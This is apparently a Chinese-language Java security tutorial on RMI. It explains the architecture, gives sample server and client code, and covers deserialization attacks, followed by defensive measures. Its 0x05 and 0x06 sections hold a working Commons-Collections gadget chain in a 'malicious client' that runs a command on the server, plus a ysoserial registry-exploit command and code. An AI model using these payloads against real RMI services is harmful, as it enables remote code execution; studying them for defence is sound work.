JAVA安全基础(四)-- RMI机制
字数 1533 2025-08-06 08:35:37

Java RMI 机制详解与安全分析

0x00 前言

Java RMI(Remote Method Invocation)是Java编程语言中实现远程过程调用的重要机制。本文将全面解析RMI的工作原理、实现方式以及安全风险,特别是反序列化漏洞的利用方式。

0x01 RMI机制概念

Java RMI全称为Java Remote Method Invocation(Java远程方法调用),是Java编程语言中实现远程过程调用的应用程序编程接口。它存储在java.rmi包中,允许某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法。这两个虚拟机可以运行在相同计算机的不同进程,也可以是网络上的不同计算机。

0x02 RMI基本名词

RMI采用三层架构模式实现:

客户端组件

  1. 存根/桩(Stub): 远程对象在客户端的代理
  2. 远程引用层(Remote Reference Layer): 解析并执行远程引用协议
  3. 传输层(Transport): 发送调用、传递远程方法参数、接收远程方法执行结果

服务端组件

  1. 骨架(Skeleton): 读取客户端传递的方法参数,调用服务器方的实际对象方法,并接收方法执行后的返回值
  2. 远程引用层(Remote Reference Layer): 处理远程引用后向骨架发送远程方法调用
  3. 传输层(Transport): 监听客户端的入站连接,接收并转发调用到远程引用层

注册中心

  • 注册表(Registry): 以URL形式注册远程对象,并向客户端回复对远程对象的引用

0x03 RMI实现流程

  1. 定义远程接口(继承java.rmi.Remote)
  2. 实现远程接口(继承UnicastRemoteObject)
  3. 服务端创建Registry并绑定远程对象
  4. 客户端通过Registry查找远程对象并调用方法

0x04 代码实现详解

1. 定义远程接口

package RMIProject;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloInterface extends Remote {
    String Hello(String age) throws RemoteException;
}

要点:

  • 必须继承java.rmi.Remote接口
  • 每个方法必须声明抛出RemoteException
  • 参数和返回值必须是可序列化类型

2. 实现远程接口

package RMIProject;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImp extends UnicastRemoteObject implements HelloInterface {
    private static final long serialVersionUID = 1L;

    protected HelloImp() throws RemoteException {
        super(); // 调用父类的构造函数
    }

    @Override
    public String Hello(String age) throws RemoteException {
        return "Hello" + age;
    }
}

要点:

  • 必须继承UnicastRemoteObject类(用于生成Stub和Skeleton)
  • 需要定义serialVersionUID
  • 构造函数应调用父类构造函数

3. 服务端实现

package RMIProject;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            HelloInterface h = new HelloImp(); // 创建远程对象
            LocateRegistry.createRegistry(1099); // 创建RMI注册表
            Naming.rebind("rmi://localhost:1099/hello", h); // 绑定远程对象
            System.out.println("RMIServer start successful");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4. 客户端实现

package RMIProject;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) {
        try {
            HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello");
            System.out.println(h.Hello("run......"));
        } catch (MalformedURLException e) {
            System.out.println("url格式异常");
        } catch (RemoteException e) {
            System.out.println("创建对象异常");
        } catch (NotBoundException e) {
            System.out.println("对象未绑定");
        }
    }
}

0x05 RMI安全机制与漏洞利用

反序列化漏洞利用条件

  1. 接收Object类型参数的远程方法
  2. RMI服务端存在可利用的反序列化链(如commons-collections)

漏洞利用示例

修改HelloInterface接口:

public interface HelloInterface extends Remote {
    String Hello(Object age) throws RemoteException;
    void Test(Object obj) throws RemoteException;
}

恶意客户端实现:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.*;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) {
        try {
            HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello");
            System.out.println(h.Hello("run......"));
            h.Test(getpayload()); // 发送恶意对象
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public static Object getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("key", "xiaoyang");
        Map transformedMap = TransformedMap.decorate(innermap, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        return ctor.newInstance(Target.class, transformedMap);
    }
}

0x06 RMI注册中心攻击

RMI注册中心在处理以下请求时会进行反序列化操作:

  1. bind()
  2. rebind()
  3. unbind()
  4. lookup()

这些方法在接收参数时会调用readObject()方法,可能导致反序列化漏洞。

攻击原理

RegistryImpl_Skel#dispatch方法处理这些请求时,会反序列化客户端发送的数据:

// bind方法处理
case 0:
    try {
        var11 = var2.getInputStream();
        var7 = (String)var11.readObject(); // 反序列化
        var8 = (Remote)var11.readObject(); // 反序列化
    } //...
    var6.bind(var7, var8);
    break;

// lookup方法处理    
case 2:
    try {
        var10 = var2.getInputStream();
        var7 = (String)var10.readObject(); // 反序列化
    } //...
    var8 = var6.lookup(var7);
    break;

利用工具示例

使用ysoserial攻击RMI注册中心:

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 目标地址 端口号 CommonsCollections1 "calc"

ysoserial关键代码:

public static void exploit(final Registry registry,
        final Class<? extends ObjectPayload> payloadClass,
        final String command) throws Exception {
    new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){
        public Void call() throws Exception {
            ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
            String name = "pwned" + System.nanoTime();
            // 创建动态代理
            Remote remote = Gadgets.createMemoitizedProxy(
                Gadgets.createMap(name, payload), Remote.class);
            try {
                registry.bind(name, remote); // 发送恶意对象
            } catch (Throwable e) {
                e.printStackTrace();
            }
            Utils.releasePayload(payloadObj, payload);
            return null;
        }
    });
}

0x07 防御措施

  1. 升级JDK版本,使用最新安全补丁
  2. 限制RMI服务仅监听内网
  3. 使用安全管理器配置严格的权限
  4. 替换或移除存在漏洞的第三方库
  5. 对RMI通信进行加密和认证

0x08 总结

RMI机制是Java分布式计算的重要基础,但其基于序列化的通信机制带来了严重的安全风险。理解RMI的工作原理和安全机制,对于构建安全的分布式系统和防御相关攻击至关重要。在实际开发中,应当遵循最小权限原则,及时更新补丁,并对RMI通信进行适当的安全加固。

Java RMI 机制详解与安全分析 0x00 前言 Java RMI(Remote Method Invocation)是Java编程语言中实现远程过程调用的重要机制。本文将全面解析RMI的工作原理、实现方式以及安全风险,特别是反序列化漏洞的利用方式。 0x01 RMI机制概念 Java RMI全称为Java Remote Method Invocation(Java远程方法调用),是Java编程语言中实现远程过程调用的应用程序编程接口。它存储在java.rmi包中,允许某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法。这两个虚拟机可以运行在相同计算机的不同进程,也可以是网络上的不同计算机。 0x02 RMI基本名词 RMI采用三层架构模式实现: 客户端组件 存根/桩(Stub) : 远程对象在客户端的代理 远程引用层(Remote Reference Layer) : 解析并执行远程引用协议 传输层(Transport) : 发送调用、传递远程方法参数、接收远程方法执行结果 服务端组件 骨架(Skeleton) : 读取客户端传递的方法参数,调用服务器方的实际对象方法,并接收方法执行后的返回值 远程引用层(Remote Reference Layer) : 处理远程引用后向骨架发送远程方法调用 传输层(Transport) : 监听客户端的入站连接,接收并转发调用到远程引用层 注册中心 注册表(Registry) : 以URL形式注册远程对象,并向客户端回复对远程对象的引用 0x03 RMI实现流程 定义远程接口(继承java.rmi.Remote) 实现远程接口(继承UnicastRemoteObject) 服务端创建Registry并绑定远程对象 客户端通过Registry查找远程对象并调用方法 0x04 代码实现详解 1. 定义远程接口 要点: 必须继承java.rmi.Remote接口 每个方法必须声明抛出RemoteException 参数和返回值必须是可序列化类型 2. 实现远程接口 要点: 必须继承UnicastRemoteObject类(用于生成Stub和Skeleton) 需要定义serialVersionUID 构造函数应调用父类构造函数 3. 服务端实现 4. 客户端实现 0x05 RMI安全机制与漏洞利用 反序列化漏洞利用条件 接收Object类型参数的远程方法 RMI服务端存在可利用的反序列化链(如commons-collections) 漏洞利用示例 修改HelloInterface接口: 恶意客户端实现: 0x06 RMI注册中心攻击 RMI注册中心在处理以下请求时会进行反序列化操作: bind() rebind() unbind() lookup() 这些方法在接收参数时会调用readObject()方法,可能导致反序列化漏洞。 攻击原理 RegistryImpl_ Skel#dispatch方法处理这些请求时,会反序列化客户端发送的数据: 利用工具示例 使用ysoserial攻击RMI注册中心: ysoserial关键代码: 0x07 防御措施 升级JDK版本,使用最新安全补丁 限制RMI服务仅监听内网 使用安全管理器配置严格的权限 替换或移除存在漏洞的第三方库 对RMI通信进行加密和认证 0x08 总结 RMI机制是Java分布式计算的重要基础,但其基于序列化的通信机制带来了严重的安全风险。理解RMI的工作原理和安全机制,对于构建安全的分布式系统和防御相关攻击至关重要。在实际开发中,应当遵循最小权限原则,及时更新补丁,并对RMI通信进行适当的安全加固。